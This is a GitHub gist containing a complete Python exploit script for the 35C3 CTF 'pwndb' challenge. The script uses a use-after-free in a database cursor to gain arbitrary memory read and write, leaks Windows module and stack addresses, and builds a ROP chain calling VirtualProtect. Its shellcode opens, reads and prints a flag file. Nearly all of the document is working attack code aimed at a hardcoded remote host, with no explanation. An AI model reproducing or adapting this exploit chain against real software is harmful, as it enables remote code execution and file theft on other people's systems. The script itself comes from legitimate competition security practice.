Skip to content

Instantly share code, notes, and snippets.

@wmliang
Created December 30, 2018 22:38
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save wmliang/36b3e6a8d59875cc9f2b20a952bb8890 to your computer and use it in GitHub Desktop.
Save wmliang/36b3e6a8d59875cc9f2b20a952bb8890 to your computer and use it in GitHub Desktop.
35c3ctf pwndb exploit
#!/usr/bin/env python
#-*- coding: utf-8 -*-
from pwn import *
import re
import sys
import string
import itertools
# UAF in IndexCursor
# 35C3_third_times_the_goddamn_charm
esc = lambda s: s.replace('\\','\\\\').replace('"', '\\"').replace('\n', '\\n')
unesc = lambda s: s.decode('string_escape')
def get_string(n):
i = 0
s = []
for c in itertools.product(string.lowercase, repeat=2):
i = i + 1
if i > n:
return s
s.append(''.join(c))
context.arch = 'amd64'
if len(sys.argv) > 1:
r = remote('145.239.149.235', 1337)
else:
r = remote('10.1.125.234', 1337)
r.sendline('create table ta(va);')
r.sendline('insert into ta(va) values ("11")'+',("22")'*60+',("33")'*2+';') # 0x5e8 + 0x9d8
r.sendline('select * from ta where va="11";')
r.sendline('insert into ta(va) values ("44");') # 0x8d0 + 0xeb0
# control row_index
N = 0x800
r.sendline('select * from ta where va="33";')
r.sendline('update cursor 1 set va="'+p64(1)*(N/8)+'";')
r.sendline('get cursor 0;')
buf = r.recvlines(7)[-1].strip()
assert '22' in buf, 'fail to control row_index'
r.sendline('select * from ta where va="44";')
r.sendline('update cursor 2 set va="'+p64(0)*(N/8)+'";')
r.sendline('get cursor 0;')
buf = r.recvlines(3)[-1].strip()
assert '22' in buf, 'fail to control row_index'
r.sendline('update cursor 1 set va="'+p64(0)*(N/8)+'";')
r.sendline('get cursor 0;')
buf = r.recvlines(2)[-1].strip()
assert '11' in buf, 'fail to control row_index'
print 'OK1'
# fake vector
r.sendline('create table tx(v'+',v'.join(get_string(125))+');')
r.sendline('insert into tx(vaa,vab,vac) values ("55","55","55");')
r.sendline('insert into tx(vaa,vab,vac) values ("56","56","56");')
r.sendline('select * from tx;')
fake_string = 'ddaa'*4+p64(4)+p64(0xf)
r.sendline('update cursor 3 set vaa="'+fake_string+'";')
r.sendline('update cursor 1 set va="'+p64(0x4cc)*(N/8)+'";') # row_index
r.sendline('get cursor 0;')
buf = r.recvrepeat(timeout=0.5)
assert 'ddaa' in buf, 'fail on fake vector'
print 'OK2'
r.sendline('update cursor 0 set va="'+'C:\\flag.txt\x00'+'A'*0x10+'";')
r.sendline('get cursor 3;')
leak = r.recvlines(2)[-1]
leak = re.search(r'ok "(.*)ddaaddaa', leak).group(1)
ptr = u64(unesc(leak))
print 'leaked pointer', hex(ptr)
def read(addr, n=8, wait=False):
fake_string = p64(addr)+p64(0)+p64(n)+p64(0xffffffff)
r.sendline('update cursor 3 set vaa="'+fake_string+'";')
r.sendline('get cursor 0;')
if wait:
leak = r.recvrepeat(timeout=0.5).split('\n')[-2].strip()
else:
leak = r.recvlines(2)[-1]
leak = leak.strip()[4:-2]
return unesc(leak)
def write(addr, data):
fake_string = p64(addr)+p64(0)+p64(len(data))+p64(0xffffffff)
r.sendline('update cursor 3 set vaa="'+fake_string+'";')
r.sendline('update cursor 0 set va="'+esc(data)+'";')
heap = ptr&~0xFFFF
for i in range(10):
if read(heap+0x10, 4) == '\xee\xff\xee\xff':
break
heap -= 0x10000
else:
print 'heap not found'
quit()
print 'heap @', hex(heap)
ntdll = u64(read(heap+0x2c0))-0x163cb0
print 'ntdll @', hex(ntdll)
peb = u64(read(ntdll+0x1652e8))-0x240
print 'peb @', hex(peb)
pwndb = u64(read(peb+0x10))
print 'pwndb @', hex(pwndb)
kernel32 = u64(read(pwndb+0x3e000))-0x21890
print 'kernel32 @', hex(kernel32)
kernelbase = u64(read(kernel32+0x78160))-0x27e90
print 'kernelbase @', hex(kernelbase)
uef = u64(read(kernelbase+0x25be78))
stack = u64(read(uef+0x88))-1
print 'stack @', hex(stack)
ret = u64(read(stack+0x180))
print hex(ret)
assert ret&0xFF==0xf4, 'fail on return address'
print 'OK3'
g1 = ntdll+0x8fb10 # pop rcx ; pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret
g2 = ntdll+0x8fb16 # pop rdx ; pop r11 ; ret
vp = kernel32+0x1b0b0
sleep = kernel32+0x1b090
createfile = kernel32+0x21d20
readfile = kernel32+0x220b0
writefile = kernel32+0x221a0
getstdhandle = kernel32+0x1c2c0
d = flat(g1, stack&~0xFFF, 0x40, ptr, 0, 0)
d += flat(g2, 0x1000, 0)
d += flat(vp, g1,0,0,0,0,0, stack-8)
sc = asm('''
nop
nop
sub rsp, 0x800
jmp flag
start:
pop r11
createfile:
mov qword ptr [rsp+0x30], 0
mov qword ptr [rsp+0x28], 0
mov qword ptr [rsp+0x20], 3
mov rcx, r11
mov rdx, 0x80000000
mov r8, 1
xor r9, r9
mov r10, {}
call r10
readfile:
mov qword ptr [rsp+0x20], 0
xor r9, r9
mov r8, 0x80
mov rdx, {}
mov rcx, rax
mov r10, {}
call r10
getstdhandle:
mov rcx, 0xFFFFFFF6
mov r10, {}
call r10
writefile:
mov qword ptr [rsp+0x20], 0
xor r9, r9
mov r8, 0x80
mov rdx, {}
mov rcx, rax
mov r10, {}
call r10
hang:
jmp hang
flag:
call start
'''.format(createfile, ptr, readfile, getstdhandle, ptr, writefile))+'C:\\flag.txt\x00'
d += sc
write(stack-0x90, d)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment